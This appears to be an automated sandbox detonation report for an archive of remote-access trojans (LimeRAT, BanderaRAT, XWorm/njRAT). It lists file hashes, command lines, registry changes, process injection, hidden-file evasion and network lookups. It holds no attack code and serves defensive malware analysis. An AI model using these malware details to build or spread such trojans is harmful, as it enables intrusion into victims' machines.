SHA512 924ec1ba39ef26332855871222945b5d5197a7782387175e764558ec410f1f0dab9f8479575e582479e645c3af23d9264141b61846458489e335d308d6024906

C:\Users\Admin\AppData\Local\Temp\_MEI35642\libffi-8.dll

MD5 08b000c3d990bc018fcb91a1e175e06e
SHA1 bd0ce09bb3414d11c91316113c2becfff0862d0d
SHA256 135c772b42ba6353757a4d076ce03dbf792456143b42d25a62066da46144fece
SHA512 8820d297aeda5a5ebe1306e7664f7a95421751db60d71dc20da251bcdfdc73f3fd0b22546bd62e62d7aa44dfe702e4032fe78802fb16ee6c2583d65abc891cbf

memory/3628-217-0x00007FFFA4220000-0x00007FFFA4CE1000-memory.dmp

memory/1740-218-0x000000001B6D0000-0x000000001B6E0000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

MD5 93d61b879d3136f663b1fed49ad70c4f
SHA1 2616e2eca357115810fc2c2f6431f8aa74551966
SHA256 8542661750f9745ec948c4070ca78b0163efdf52d9c9933d69921bc8ac3f9166
SHA512 4cda04369d4442f09eb35f87f987e4c64a768f991ef6e7fc5291dc873f974ec21489e6c94e9a76e3c0d8419073961b7b2c37d48102696bf261d4c265921c0e62

memory/4016-223-0x0000000001210000-0x0000000001220000-memory.dmp

memory/3248-224-0x00007FFFA0AB0000-0x00007FFFA0ADD000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI35642\_bz2.pyd

MD5 a3b94f76d5b6cf2b0210cf97364995c4
SHA1 5f40f24040801c9eb90f7aa5067fd5a9d1770ee9
SHA256 3753d2df19d983a21bccfe822eb9398ba300fcc917fac9e4bb18fe79bebf1f14
SHA512 18fbd9ab810be6fdb1c9d81aa1db816c429d83f714c9f708404476545b92ca190bc23695e7f87ce878e51f938b1c297a3c8bea5974b009c61fc343ec34e689f8

C:\Users\Admin\AppData\Local\Temp\_MEI35642\_sqlite3.pyd

MD5 8519e485f258836a6de2a0f2d400db54
SHA1 6d7595bd2a9d00c49fa358a8b13e551014fb91d4
SHA256 74eb2ea743f450de312227efaf999f69a36899dc9e2b945f9a7a4fdec13ad72b
SHA512 c3fc41de49c32efbdf67c64c0f003a3b6b3edf6ed06c18ddf3598e10ff1534728e443ddd0e9cff707d5e51195d395e17218e745ff06fd8a9466faa435b77beee

memory/3248-228-0x00007FFFB62C0000-0x00007FFFB62D9000-memory.dmp

memory/3248-232-0x00007FFFA0830000-0x00007FFFA0853000-memory.dmp

memory/2480-231-0x00007FFFA4220000-0x00007FFFA4CE1000-memory.dmp

memory/3628-230-0x0000000002E30000-0x0000000002E40000-memory.dmp

memory/1852-227-0x00007FFFA4220000-0x00007FFFA4CE1000-memory.dmp

memory/1740-225-0x00007FFFA4220000-0x00007FFFA4CE1000-memory.dmp

memory/3988-222-0x00007FFFA4220000-0x00007FFFA4CE1000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI35642\sqlite3.dll

MD5 a7d59e7121c2a5ad84fc900f74008e51
SHA1 87a5f026d4765f396bbfef8d4ebacc07fe6dd101
SHA256 c53513761fdc1fcdf2abac76c05ddb5e17c6083c761663006387ddf325046d70
SHA512 5bbf6f60fd0fb10b0b51e679be4fd3b80f97e41d85094ef94bdc8ea2a3a2f030dbcb420bc43771cc0620e4326e93dc78cd22977860a7b86454dd2e353041cb13

C:\Users\Admin\AppData\Local\Temp\_MEI35642\_socket.pyd

MD5 3f8317190b72eb1355f0929ff626e89f
SHA1 7ff74e1b5ff76db2e97811526e6b22076758c2ac
SHA256 49f3b320ef8accfff66478d338f1018d5ebe50af43f5edd4ea881306ca5db3d0
SHA512 4d45e1442edda313fb247da4e1281fb58a93a6384f60881ee88c135f1586fb8d90968dc1727c0f2189ee9914ba3cf74448dee44cc5a911d137a071a80da9aaaf

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

MD5 e7568312d61b2edadc8206844866aa2d
SHA1 3426b31fedc528add62504dba8e2190a22d8cf1c
SHA256 64c49c008988cffcc1d8b22f4c5a0f99eb84eac891977ca84d524ba9b95f71d9
SHA512 c6bc022e3b47fce205c67b1592ac72c2cd24fce0121aaa7dc3fac2fd24fb57899545a375ad2b0a2dd29b1f42e8d78fdbd3703ec21b71272f71c4547d0b2a3cd5

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gih0lkkq.q0m.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3248-264-0x00007FFFA1260000-0x00007FFFA184E000-memory.dmp

memory/3248-269-0x00007FFFA0830000-0x00007FFFA0853000-memory.dmp

memory/3248-274-0x00007FFFA0510000-0x00007FFFA05DD000-memory.dmp

memory/3248-275-0x00007FFF9C3A0000-0x00007FFF9C8C2000-memory.dmp

memory/3248-273-0x00007FFFA0600000-0x00007FFFA0633000-memory.dmp

memory/3248-271-0x00007FFFAC650000-0x00007FFFAC669000-memory.dmp

memory/3248-347-0x00007FFFA1260000-0x00007FFFA184E000-memory.dmp

memory/3248-351-0x00007FFFB6440000-0x00007FFFB644F000-memory.dmp

memory/3248-354-0x00007FFFA0830000-0x00007FFFA0853000-memory.dmp

memory/3248-355-0x00007FFFA0640000-0x00007FFFA07B6000-memory.dmp

memory/3248-360-0x00007FFFA0510000-0x00007FFFA05DD000-memory.dmp

memory/3248-362-0x00007FFFA0310000-0x00007FFFA0324000-memory.dmp

memory/3248-364-0x00007FFFA5470000-0x00007FFFA558C000-memory.dmp

memory/3248-363-0x00007FFFAD1C0000-0x00007FFFAD1CD000-memory.dmp

memory/3248-361-0x00007FFF9C3A0000-0x00007FFF9C8C2000-memory.dmp

memory/3248-359-0x00007FFFA0600000-0x00007FFFA0633000-memory.dmp

memory/3248-358-0x00007FFFAF410000-0x00007FFFAF41D000-memory.dmp

memory/3248-357-0x00007FFFAC650000-0x00007FFFAC669000-memory.dmp

memory/3248-352-0x00007FFFA0AB0000-0x00007FFFA0ADD000-memory.dmp

memory/3248-353-0x00007FFFB62C0000-0x00007FFFB62D9000-memory.dmp

memory/3248-350-0x00007FFFB6450000-0x00007FFFB6474000-memory.dmp

Analysis: behavioral8

Detonation Overview

Submitted

2024-03-05 12:43

Reported

2024-03-05 12:46

Platform

win10v2004-20240226-en

Max time kernel

149s

Max time network

159s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\Dеbug\LimeRAT.pdb

Signatures

Enumerates physical storage devices

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000_Classes\Local Settings C:\Windows\system32\OpenWith.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000_Classes\Local Settings C:\Windows\system32\cmd.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\system32\OpenWith.exe N/A

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\Dеbug\LimeRAT.pdb

C:\Windows\system32\OpenWith.exe

C:\Windows\system32\OpenWith.exe -Embedding

Network

Country Destination Domain Proto
US 8.8.8.8:53 1.181.190.20.in-addr.arpa udp
US 8.8.8.8:53 241.154.82.20.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 41.110.16.96.in-addr.arpa udp
US 8.8.8.8:53 157.123.68.40.in-addr.arpa udp
US 8.8.8.8:53 97.17.167.52.in-addr.arpa udp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
US 8.8.8.8:53 18.134.221.88.in-addr.arpa udp
US 8.8.8.8:53 119.110.54.20.in-addr.arpa udp
US 8.8.8.8:53 217.135.221.88.in-addr.arpa udp
US 8.8.8.8:53 207.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 211.135.221.88.in-addr.arpa udp
US 8.8.8.8:53 11.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 200.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 181.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp

Files

N/A

Analysis: behavioral10

Detonation Overview

Submitted

2024-03-05 12:43

Reported

2024-03-05 12:47

Platform

win10v2004-20240226-en

Max time kernel

150s

Max time network

161s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\Dеbug\MetroFramework.Fonts.dll,#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\Dеbug\MetroFramework.Fonts.dll,#1

Network

Country Destination Domain Proto
US 8.8.8.8:53 1.181.190.20.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.200:443 g.bing.com tcp
US 8.8.8.8:53 190.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 97.17.167.52.in-addr.arpa udp
US 8.8.8.8:53 200.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 41.110.16.96.in-addr.arpa udp
US 8.8.8.8:53 157.123.68.40.in-addr.arpa udp
US 8.8.8.8:53 241.154.82.20.in-addr.arpa udp
US 8.8.8.8:53 241.150.49.20.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 217.135.221.88.in-addr.arpa udp
US 8.8.8.8:53 119.110.54.20.in-addr.arpa udp
US 8.8.8.8:53 79.121.231.20.in-addr.arpa udp
US 8.8.8.8:53 207.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 33.134.221.88.in-addr.arpa udp
US 8.8.8.8:53 18.134.221.88.in-addr.arpa udp
US 8.8.8.8:53 0.205.248.87.in-addr.arpa udp
US 8.8.8.8:53 19.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 50.134.221.88.in-addr.arpa udp
US 8.8.8.8:53 28.73.42.20.in-addr.arpa udp
GB 88.221.135.217:80 tcp

Files

N/A

Analysis: behavioral6

Detonation Overview

Submitted

2024-03-05 12:43

Reported

2024-03-05 12:46

Platform

win10v2004-20240226-en

Max time kernel

150s

Max time network

156s

Command Line

"C:\Program Files\Microsoft Office\Root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\MSOXMLED.EXE" /verb open "C:\Users\Admin\AppData\Local\Temp\Dеbug\LimeRAT.exe.xml"

Signatures

N/A

Processes

C:\Program Files\Microsoft Office\Root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\MSOXMLED.EXE

"C:\Program Files\Microsoft Office\Root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\MSOXMLED.EXE" /verb open "C:\Users\Admin\AppData\Local\Temp\Dеbug\LimeRAT.exe.xml"

Network

Country Destination Domain Proto
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 81.14.97.104.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.200:443 g.bing.com tcp
US 8.8.8.8:53 136.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 79.121.231.20.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 157.123.68.40.in-addr.arpa udp
US 8.8.8.8:53 41.110.16.96.in-addr.arpa udp
US 8.8.8.8:53 241.154.82.20.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
US 8.8.8.8:53 217.135.221.88.in-addr.arpa udp
US 8.8.8.8:53 104.241.123.92.in-addr.arpa udp
US 8.8.8.8:53 119.110.54.20.in-addr.arpa udp
US 8.8.8.8:53 209.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 18.134.221.88.in-addr.arpa udp
US 8.8.8.8:53 58.99.105.20.in-addr.arpa udp
US 8.8.8.8:53 90.135.221.88.in-addr.arpa udp
US 8.8.8.8:53 31.243.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 184.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 50.134.221.88.in-addr.arpa udp
US 8.8.8.8:53 0.205.248.87.in-addr.arpa udp

Files

memory/3200-0-0x00007FF88C190000-0x00007FF88C1A0000-memory.dmp

memory/3200-1-0x00007FF8CC110000-0x00007FF8CC305000-memory.dmp

memory/3200-2-0x00007FF88C190000-0x00007FF88C1A0000-memory.dmp

memory/3200-3-0x00007FF8C9940000-0x00007FF8C9C09000-memory.dmp

memory/3200-4-0x00007FF8CC110000-0x00007FF8CC305000-memory.dmp

Analysis: behavioral7

Detonation Overview

Submitted

2024-03-05 12:43

Reported

2024-03-05 12:46

Platform

win7-20240215-en

Max time kernel

119s

Max time network

127s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\Dеbug\LimeRAT.pdb

Signatures

Enumerates physical storage devices

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000_CLASSES\pdb_auto_file C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000_CLASSES\.pdb C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000_CLASSES\pdb_auto_file\shell\Read\command C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000_Classes\Local Settings C:\Windows\system32\rundll32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000_CLASSES\pdb_auto_file\ C:\Windows\system32\rundll32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000_CLASSES\.pdb\ = "pdb_auto_file" C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000_CLASSES\pdb_auto_file\shell\Read C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000_CLASSES\pdb_auto_file\shell C:\Windows\system32\rundll32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000_CLASSES\pdb_auto_file\shell\Read\command\ = "\"C:\\Program Files (x86)\\Adobe\\Reader 9.0\\Reader\\AcroRd32.exe\" \"%1\"" C:\Windows\system32\rundll32.exe N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe N/A

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\Dеbug\LimeRAT.pdb

C:\Windows\system32\rundll32.exe

"C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\Admin\AppData\Local\Temp\Dеbug\LimeRAT.pdb

C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe

"C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\Dеbug\LimeRAT.pdb"

Network

N/A

Files

C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\9.0\SharedDataEvents

MD5 00421b1ab2c3fa6940147d6099e2deef
SHA1 cc172b711f0e213a8f3f6f8e3c5c47f2bec38afb
SHA256 33651477b3e2190b3f6695c8f6fc5a41a834caba98c43415048f9b0d5fc8f0aa
SHA512 572f2ab0edf939d8fb9bf4e25c741befdbaea5757b84b2346ce6a20bc58531f0c8f4799f1491e9cb7ff036c210f0ac7f31417fff85b8888b0ced507df4961fb9

Analysis: behavioral16

Detonation Overview

Submitted

2024-03-05 12:43

Reported

2024-03-05 12:47

Platform

win10v2004-20240226-en

Max time kernel

167s

Max time network

177s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\PORTS.dat

Signatures

Enumerates physical storage devices

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000_Classes\Local Settings C:\Windows\system32\cmd.exe N/A
Key created \REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000_Classes\Local Settings C:\Windows\system32\OpenWith.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\system32\OpenWith.exe N/A

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\PORTS.dat

C:\Windows\system32\OpenWith.exe

C:\Windows\system32\OpenWith.exe -Embedding

Network

Country Destination Domain Proto
US 8.8.8.8:53 16.53.126.40.in-addr.arpa udp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 180.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 41.110.16.96.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 241.154.82.20.in-addr.arpa udp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 18.134.221.88.in-addr.arpa udp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 187.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 21.236.111.52.in-addr.arpa udp
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
US 8.8.8.8:53 202.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 8.8.8.8:53 104.246.116.51.in-addr.arpa udp
US 8.8.8.8:53 57.169.31.20.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp

Files

N/A

Analysis: behavioral17

Detonation Overview

Submitted

2024-03-05 12:43

Reported

2024-03-05 12:46

Platform

win7-20240221-en

Max time kernel

121s

Max time network

129s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\Plugins\CRYP.dll,#1

Signatures

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1220 wrote to memory of 1692 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 1220 wrote to memory of 1692 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 1220 wrote to memory of 1692 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 1220 wrote to memory of 1692 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 1220 wrote to memory of 1692 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 1220 wrote to memory of 1692 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
PID 1220 wrote to memory of 1692 N/A C:\Windows\system32\rundll32.exe C:\Windows\SysWOW64\rundll32.exe

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\Plugins\CRYP.dll,#1

C:\Windows\SysWOW64\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\Plugins\CRYP.dll,#1

Network

N/A

Files

N/A

Analysis: behavioral28

Detonation Overview

Submitted

2024-03-05 12:43

Reported

2024-03-05 12:47

Platform

win10v2004-20240226-en

Max time kernel

154s

Max time network

161s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\Plugins\DET.pdb

Signatures

Enumerates physical storage devices

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3045580317-3728985860-206385570-1000_Classes\Local Settings C:\Windows\system32\cmd.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3045580317-3728985860-206385570-1000_Classes\Local Settings C:\Windows\system32\OpenWith.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\system32\OpenWith.exe N/A

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\Plugins\DET.pdb

C:\Windows\system32\OpenWith.exe

C:\Windows\system32\OpenWith.exe -Embedding

Network

Country Destination Domain Proto
US 8.8.8.8:53 4.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 241.154.82.20.in-addr.arpa udp
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 205.47.74.20.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 41.110.16.96.in-addr.arpa udp
US 8.8.8.8:53 97.17.167.52.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
US 8.8.8.8:53 217.135.221.88.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 104.241.123.92.in-addr.arpa udp
US 8.8.8.8:53 119.110.54.20.in-addr.arpa udp
US 8.8.8.8:53 181.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 32.134.221.88.in-addr.arpa udp
US 8.8.8.8:53 184.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 6.173.189.20.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 18.134.221.88.in-addr.arpa udp
US 8.8.8.8:53 179.178.17.96.in-addr.arpa udp
GB 88.221.134.18:80 tcp

Files

N/A

Analysis: behavioral29

Detonation Overview

Submitted

2024-03-05 12:43

Reported

2024-03-05 12:46

Platform

win7-20240221-en

Max time kernel

120s

Max time network

126s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\Plugins\ENC.pdb

Signatures

Enumerates physical storage devices

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-1650401615-1019878084-3673944445-1000_CLASSES\pdb_auto_file C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1650401615-1019878084-3673944445-1000_CLASSES\.pdb C:\Windows\system32\rundll32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-1650401615-1019878084-3673944445-1000_CLASSES\.pdb\ = "pdb_auto_file" C:\Windows\system32\rundll32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-1650401615-1019878084-3673944445-1000_CLASSES\pdb_auto_file\shell\Read\command\ = "\"C:\\Program Files (x86)\\Adobe\\Reader 9.0\\Reader\\AcroRd32.exe\" \"%1\"" C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1650401615-1019878084-3673944445-1000_Classes\Local Settings C:\Windows\system32\rundll32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-1650401615-1019878084-3673944445-1000_CLASSES\pdb_auto_file\ C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1650401615-1019878084-3673944445-1000_CLASSES\pdb_auto_file\shell\Read C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1650401615-1019878084-3673944445-1000_CLASSES\pdb_auto_file\shell C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1650401615-1019878084-3673944445-1000_CLASSES\pdb_auto_file\shell\Read\command C:\Windows\system32\rundll32.exe N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe N/A

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\Plugins\ENC.pdb

C:\Windows\system32\rundll32.exe

"C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\Plugins\ENC.pdb

C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe

"C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\Plugins\ENC.pdb"

Network

N/A

Files

C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\9.0\SharedDataEvents

MD5 468fe128e8be32fd1d70be1e0025ea9a
SHA1 c85ab5affb0c629f440abc83bf1cd0ca2b886731
SHA256 268510928f3df3ca64b475653a6c51cc2d84d2287be89ed581782703d0ce6740
SHA512 fae1deef8e8801c652c3ba4aff939caa9973957fde49036697c229c3695f7b9fb467f0dcc6b149002f7caa4684c3519f6707223077342312dde2b2f74c915fc4

Analysis: behavioral2

Detonation Overview

Submitted

2024-03-05 12:43

Reported

2024-03-05 12:46

Platform

win10v2004-20240226-en

Max time kernel

120s

Max time network

159s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\Dbug.rar

Signatures

Detect Xworm Payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Xworm

trojan rat xworm

njRAT/Bladabindi

trojan njrat

Sets file to hidden

evasion
Description Indicator Process Target
N/A N/A C:\Windows\System32\attrib.exe N/A
N/A N/A C:\Windows\System32\attrib.exe N/A
N/A N/A C:\Windows\System32\attrib.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2727153400-192325109-1870347593-1000\Control Panel\International\Geo\Nation C:\Windows\system32\cmd.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-2727153400-192325109-1870347593-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\7zO069F45A8\BandeeraRAT By Donbas.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-2727153400-192325109-1870347593-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\Fluxus_V8.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-2727153400-192325109-1870347593-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-2727153400-192325109-1870347593-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\sisk.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-2727153400-192325109-1870347593-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-2727153400-192325109-1870347593-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-2727153400-192325109-1870347593-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-2727153400-192325109-1870347593-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
